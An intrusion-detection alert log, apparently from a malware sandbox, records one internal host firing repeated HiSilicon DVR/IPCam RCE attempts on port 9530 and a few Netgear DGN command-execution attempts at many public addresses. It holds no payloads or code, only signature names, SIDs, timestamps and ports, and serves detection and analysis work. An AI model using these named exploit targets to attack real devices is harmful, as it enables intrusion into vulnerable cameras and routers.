ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.140.137.158

Timestamp:	05/16/24-16:38:59.558036
SID:	2030487
Source Port:	35846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.119.149.10

Timestamp:	05/16/24-16:39:14.491222
SID:	2030488
Source Port:	34262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.119.149.10

Timestamp:	05/16/24-16:39:14.491222
SID:	2030487
Source Port:	34262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.3.176.156

Timestamp:	05/16/24-16:39:12.400817
SID:	2030488
Source Port:	44572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.120.167.100

Timestamp:	05/16/24-16:38:50.069055
SID:	2030487
Source Port:	52568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.120.167.100

Timestamp:	05/16/24-16:38:50.069055
SID:	2030488
Source Port:	52568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.188.230.78

Timestamp:	05/16/24-16:39:12.406142
SID:	2030487
Source Port:	47536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.141.26.155

Timestamp:	05/16/24-16:39:08.041175
SID:	2030487
Source Port:	48684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.188.230.78

Timestamp:	05/16/24-16:39:12.406142
SID:	2030488
Source Port:	47536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.141.26.155

Timestamp:	05/16/24-16:39:08.041175
SID:	2030488
Source Port:	48684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.224.202.126

Timestamp:	05/16/24-16:39:16.603126
SID:	2030488
Source Port:	57576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.254.73.158

Timestamp:	05/16/24-16:39:05.677757
SID:	2030488
Source Port:	34844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.254.73.158

Timestamp:	05/16/24-16:39:05.677757
SID:	2030487
Source Port:	34844
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.224.202.126

Timestamp:	05/16/24-16:39:16.603126
SID:	2030487
Source Port:	57576
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.204.27.88

Timestamp:	05/16/24-16:39:02.746109
SID:	2030487
Source Port:	51130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.204.27.88

Timestamp:	05/16/24-16:39:02.746109
SID:	2030488
Source Port:	51130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.3.176.156

Timestamp:	05/16/24-16:39:12.400817
SID:	2030487
Source Port:	44572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.72.204.9

Timestamp:	05/16/24-16:39:05.698748
SID:	2030488
Source Port:	52596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.72.204.9

Timestamp:	05/16/24-16:39:05.698748
SID:	2030487
Source Port:	52596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 75.42.159.230

Timestamp:	05/16/24-16:38:55.212277
SID:	2030487
Source Port:	45954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 75.42.159.230

Timestamp:	05/16/24-16:38:55.212277
SID:	2030488
Source Port:	45954
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.192.106.63

Timestamp:	05/16/24-16:39:12.403758
SID:	2030488
Source Port:	47856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.32.161.91

Timestamp:	05/16/24-16:38:57.448983
SID:	2030488
Source Port:	42374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.124.27.213

Timestamp:	05/16/24-16:39:05.698729
SID:	2030487
Source Port:	33212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.197.143.176

Timestamp:	05/16/24-16:38:53.011473
SID:	2030487
Source Port:	44082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.124.27.213

Timestamp:	05/16/24-16:39:05.698729
SID:	2030488
Source Port:	33212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.197.143.176

Timestamp:	05/16/24-16:38:53.011473
SID:	2030488
Source Port:	44082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.192.106.63

Timestamp:	05/16/24-16:39:12.403758
SID:	2030487
Source Port:	47856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.133.180.164

Timestamp:	05/16/24-16:39:03.260025
SID:	2030488
Source Port:	36094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.133.180.164

Timestamp:	05/16/24-16:39:03.260025
SID:	2030487
Source Port:	36094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.97.21.150

Timestamp:	05/16/24-16:39:05.704119
SID:	2030488
Source Port:	52672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.85.41.91

Timestamp:	05/16/24-16:38:50.052339
SID:	2030488
Source Port:	57766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.97.21.150

Timestamp:	05/16/24-16:39:05.704119
SID:	2030487
Source Port:	52672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.85.41.91

Timestamp:	05/16/24-16:38:50.052339
SID:	2030487
Source Port:	57766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.31.65.164

Timestamp:	05/16/24-16:38:50.052339
SID:	2030488
Source Port:	54032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.31.65.164

Timestamp:	05/16/24-16:38:50.052339
SID:	2030487
Source Port:	54032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.162.130.218

Timestamp:	05/16/24-16:39:16.612733
SID:	2030488
Source Port:	52116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.162.130.218

Timestamp:	05/16/24-16:39:16.612733
SID:	2030487
Source Port:	52116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.70.73.47

Timestamp:	05/16/24-16:39:02.763329
SID:	2030488
Source Port:	39708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.70.73.47

Timestamp:	05/16/24-16:39:02.763329
SID:	2030487
Source Port:	39708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.231.70.28

Timestamp:	05/16/24-16:39:16.579869
SID:	2030488
Source Port:	57908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.231.70.28

Timestamp:	05/16/24-16:39:16.579869
SID:	2030487
Source Port:	57908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.36.9.96

Timestamp:	05/16/24-16:39:08.126446
SID:	2030488
Source Port:	52912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.153.225.130

Timestamp:	05/16/24-16:39:08.092998
SID:	2030487
Source Port:	45700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.153.225.130

Timestamp:	05/16/24-16:39:08.092998
SID:	2030488
Source Port:	45700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.36.9.96

Timestamp:	05/16/24-16:39:08.126446
SID:	2030487
Source Port:	52912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.237.178.247

Timestamp:	05/16/24-16:39:14.494562
SID:	2030487
Source Port:	57668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.237.178.247

Timestamp:	05/16/24-16:39:14.494562
SID:	2030488
Source Port:	57668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.100.27.197

Timestamp:	05/16/24-16:39:16.600097
SID:	2030488
Source Port:	44034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.100.27.197

Timestamp:	05/16/24-16:39:16.600097
SID:	2030487
Source Port:	44034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.86.196.21

Timestamp:	05/16/24-16:39:16.615052
SID:	2030487
Source Port:	37542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.86.196.21

Timestamp:	05/16/24-16:39:16.615052
SID:	2030488
Source Port:	37542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.6.13.99

Timestamp:	05/16/24-16:39:08.041776
SID:	2030487
Source Port:	45068
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.6.13.99

Timestamp:	05/16/24-16:39:08.041776
SID:	2030488
Source Port:	45068
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.117.96.124

Timestamp:	05/16/24-16:39:02.745592
SID:	2030488
Source Port:	40164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.117.96.124

Timestamp:	05/16/24-16:39:02.745592
SID:	2030487
Source Port:	40164
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.153.23.127

Timestamp:	05/16/24-16:38:59.583145
SID:	2030488
Source Port:	51744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.41.47.26

Timestamp:	05/16/24-16:39:02.765729
SID:	2030487
Source Port:	52222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.153.23.127

Timestamp:	05/16/24-16:38:59.583145
SID:	2030487
Source Port:	51744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.41.47.26

Timestamp:	05/16/24-16:39:02.765729
SID:	2030488
Source Port:	52222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.38.48.162

Timestamp:	05/16/24-16:39:12.298315
SID:	2030488
Source Port:	39086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.38.48.162

Timestamp:	05/16/24-16:39:12.298315
SID:	2030487
Source Port:	39086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.105.83.219

Timestamp:	05/16/24-16:38:57.431439
SID:	2030487
Source Port:	42242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.105.83.219

Timestamp:	05/16/24-16:38:57.431439
SID:	2030488
Source Port:	42242
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.101.70.74

Timestamp:	05/16/24-16:39:03.274732
SID:	2030488
Source Port:	41466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.101.70.74

Timestamp:	05/16/24-16:39:03.274732
SID:	2030487
Source Port:	41466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.252.32.144

Timestamp:	05/16/24-16:39:12.400929
SID:	2030488
Source Port:	59712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.252.27.83

Timestamp:	05/16/24-16:38:50.068398
SID:	2030488
Source Port:	47400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.201.164.47

Timestamp:	05/16/24-16:39:02.726938
SID:	2030488
Source Port:	42336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.252.27.83

Timestamp:	05/16/24-16:38:50.068398
SID:	2030487
Source Port:	47400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.201.164.47

Timestamp:	05/16/24-16:39:02.726938
SID:	2030487
Source Port:	42336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.252.32.144

Timestamp:	05/16/24-16:39:12.400929
SID:	2030487
Source Port:	59712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.196.178.18

Timestamp:	05/16/24-16:38:57.409029
SID:	2030488
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.138.184.9

Timestamp:	05/16/24-16:39:03.262246
SID:	2030488
Source Port:	38664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.138.184.9

Timestamp:	05/16/24-16:39:03.262246
SID:	2030487
Source Port:	38664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.154.118.79

Timestamp:	05/16/24-16:39:12.383669
SID:	2030488
Source Port:	58146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.154.118.79

Timestamp:	05/16/24-16:39:12.383669
SID:	2030487
Source Port:	58146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 203.44.202.98

Timestamp:	05/16/24-16:38:57.302540
SID:	2030487
Source Port:	41156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 203.44.202.98

Timestamp:	05/16/24-16:38:57.302540
SID:	2030488
Source Port:	41156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.171.222.214

Timestamp:	05/16/24-16:39:03.290444
SID:	2030488
Source Port:	40452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.94.177.227

Timestamp:	05/16/24-16:39:16.582504
SID:	2030487
Source Port:	50436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.94.177.227

Timestamp:	05/16/24-16:39:16.582504
SID:	2030488
Source Port:	50436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.144.140.51

Timestamp:	05/16/24-16:39:08.146650
SID:	2030488
Source Port:	58916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.144.140.51

Timestamp:	05/16/24-16:39:08.146650
SID:	2030487
Source Port:	58916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.243.162.175

Timestamp:	05/16/24-16:39:12.301071
SID:	2030487
Source Port:	57892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.243.162.175

Timestamp:	05/16/24-16:39:12.301071
SID:	2030488
Source Port:	57892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.63.126.139

Timestamp:	05/16/24-16:39:12.384472
SID:	2030488
Source Port:	41402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.63.126.139

Timestamp:	05/16/24-16:39:12.384472
SID:	2030487
Source Port:	41402
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.171.222.214

Timestamp:	05/16/24-16:39:03.290444
SID:	2030487
Source Port:	40452
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 81.134.185.77

Timestamp:	05/16/24-16:38:49.277920
SID:	2029215
Source Port:	34702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.244.7.4

Timestamp:	05/16/24-16:39:14.491081
SID:	2030488
Source Port:	52916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 19.161.148.119

Timestamp:	05/16/24-16:39:09.560423
SID:	2034576
Source Port:	38876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.226.146.217

Timestamp:	05/16/24-16:38:57.305774
SID:	2030488
Source Port:	45442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.226.146.217

Timestamp:	05/16/24-16:38:57.305774
SID:	2030487
Source Port:	45442
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.9.57.126

Timestamp:	05/16/24-16:39:16.578938
SID:	2030488
Source Port:	42456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.9.57.126

Timestamp:	05/16/24-16:39:16.578938
SID:	2030487
Source Port:	42456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.34.128.85

Timestamp:	05/16/24-16:38:59.593429
SID:	2030488
Source Port:	39220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.34.128.85

Timestamp:	05/16/24-16:38:59.593429
SID:	2030487
Source Port:	39220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 51.38.6.128

Timestamp:	05/16/24-16:39:09.560216
SID:	2029215
Source Port:	52858
Destination Port:	80
